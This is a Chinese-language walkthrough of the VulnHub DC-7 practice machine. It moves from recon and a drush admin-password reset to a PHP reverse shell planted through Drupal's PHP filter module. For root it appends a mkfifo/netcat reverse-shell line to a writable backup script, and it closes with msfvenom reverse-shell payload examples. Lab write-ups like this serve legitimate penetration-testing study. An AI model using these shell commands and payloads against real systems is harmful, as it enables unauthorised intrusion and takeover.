vulnhub-DC7
DC-7 渗透测试 Walk through
信息收集
使用nmap工具对 靶机IP :192.168.16.234 进行扫描nmap -sS -sV -A -p- 192.168.16.234
扫描到开放22、80端口 , 80端口对应于drupal 8 、 apache 2.4.25服务
继续,按照之前系列的思路,我们需要对主机进行子网页或者用户名进行枚举。
因此,不浪费时间,我们打开了一个Web浏览器来探索HTTP服务,然后DC:7-欢迎页面在浏览器中打开,
给了我们一个提示,要”打破常规思维“,而这个提示可能与互联网有关。
在这个网页的末尾,我们注意到另一个提示“@DC7User”,这可能是任何可能的用户名。
在尝试了一些简单的思路枚举用户和密码以后发现没有可能 , 再结合提示将@DC7User 直接将用户名放在谷歌上搜索
发现一个推特用户
并且连接一个github的用户,点进github用户中发现唯一个项目,检查该项目下发现一个config文件并看到密码
1 | Username: dc7user |
远程ssh连接上拿到shell
1 | ssh dc7user@192.168.16.234 |
渗透 Exploiting
一开始,寻找目录列表,找到了一个名为“mbox”的文件,其中包含一条收件箱消息。该消息的主题是/opt/script/backup.sh,深入挖掘一下。
1 | cat mbox |
在backup.sh中,注意到它使用了Drush,这是Drupal Shell的缩写,是一个用于与Drupal CMS通信的命令行实用程序。
gpt对drupal的介绍
发现drupal存在能够重置用户密码的命令
1 | drush user-password admin --password=123456 |
成功更改admin用户的密码为123456 , 在web进行一个登录。
1 | http://192.168.16.234/user/login |
在网站上进行一番收集之后 , 发现版本确实为Drupal 8.7.x ,下一步是建立一个反向 shell。php-reverse-shell 似乎是一个可行的选择。
问题是我们如何在Drupal上上传 PHP 代码呢
WordPress的经验告诉我们,主题、模块和插件通常是典型的入口点。于是我决定做些研究
在谷歌上搜索到drupal-to-reverse-shell的文章
这篇文章通过启用一个名为 PHP 过滤器的 Drupal 模块来实现反向 shell。
PHP 过滤器核心模块已经从 Drupal 8.x 的核心中移除。
不过我们的受害者机器正在运行 Drupal 8.7.x,不包含 PHP 过滤器模块。但是浏览器提供了接口支持手动安装!
1 | https://www.drupal.org/project/php |
这个链接包含一个 .tar.gz 下载,可以直接作为管理员上传到 Drupal。
安装成功 , 在extend中再把php filter勾选并安装
现在使用Pentest Monkey的PHP脚本,
即reverse shell backdoor.php,将其注入为基本内容。别忘了添加“监听IP和端口”以获取反向连接。继续将“文本格式更改为PHP”并启用发布复选框。保持Netcat监听器打开以接收传入的Shell。
1 | set_time_limit (0); |
当一切设置正确时,点击预览按钮,你将通过Netcat获得反向连接。
提权
首先我们获取可交互的shell
我们已经获得了以www-data身份的Netcat会话。检查一下 /opt/scripts/backup.sh 文件的权限,你会注意到,www-data用户具有访问或修改此文件的所有权限。可以尝试通过修改源文件的内容滥用用户文件的权限,以提升权限
如上所述,我们将尝试滥用对脚本分配的可写权限。因此,我们使用msfvenom生成一个恶意代码片段,以获取Bash shell。
1 | echo "mkfifo /tmp/mqvlx; nc 192.168.16.98 8899 0</tmp/mqvlx | /bin/sh >/tmp/mqvlx 2>&1; rm /tmp/mqvlx" >>backups.sh |
现在复制生成的代码写入backups.sh,并在新的终端上启动另一个Netcat监听器。
成功拿到root权限和最终flag
总结
过程
- 在Vnluhub DC-7渗透过程中,首先进行了网络扫描,使用了Nmap进行主机扫描,发现了一个开放的端口80,该端口运行了Drupal CMS。通过浏览网站,找到了一些有趣的线索,包括一个指向”outside the box”的暗示和一个潜在的用户名”@DC7User”。
- 进一步进行枚举时,发现了一个名为”mbox”的文件,其中包含一条收件箱消息,提到了”/opt/script/backup.sh”。通过SSH连接到主机,获取了tty shell,并进行了目录遍历,发现了备份脚本。
- 由于Drupal 8.7.x版本中移除了PHP过滤器核心模块,为了实现反向shell,决定手动安装一个模块。通过下载.tar.gz文件并上传到Drupal,成功安装了新的模块。
- 利用Pentest Monkey的PHP反向shell脚本,成功注入为基本内容。通过设置监听IP和端口,并将文本格式更改为PHP,最终点击预览按钮,成功获得了反向连接。
- 利用www-data用户对/opt/scripts/backup.sh文件的写入权限,使用msfvenom生成了恶意代码,获取了Bash shell,并在新的终端上启动了另一个Netcat监听器。
- 总体而言,通过深入的枚举、渗透测试和利用漏洞,成功地获取了对目标系统的控制权。渗透测试的关键是不断的信息搜集、利用发现的漏洞,并谨慎地提升权限,确保在渗透过程中保持隐蔽性。
msfvenom工具的介绍
msfvenom 是 Metasploit 框架中的一个强大工具,用于生成定制的恶意代码,如shellcode、payloads等。它的主要功能是生成各种用于渗透测试和攻击的有效载荷。
使用举例:
生成反向TCP Shell:
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f exe > reverse_shell.exe这个命令将生成一个Windows平台下的Meterpreter反向TCP Shell。
生成Linux反向Shell:
1 msfvenom -p linux/x86/shell_reverse_tcp LHOST=your_ip LPORT=your_port -f elf > reverse_shell.elf这个命令生成一个Linux平台下的反向Shell。
生成Web Shell:
1 msfvenom -p php/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f raw > web_shell.php这个命令生成一个Meterpreter反向TCP Shell的PHP Web Shell。
生成DLL Payload:
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f dll > payload.dll这个命令生成一个Windows平台下的Meterpreter反向TCP Shell的DLL文件。
msfvenom 的语法非常灵活,你可以根据具体需要选择不同的payload、平台、格式等参数。
通过使用 -h 参数,可以查看更多的选项和支持的payload。
请注意,在使用 msfvenom 生成恶意代码时,务必遵循法律规定和道德准则,并且仅在合法授权的环境中使用。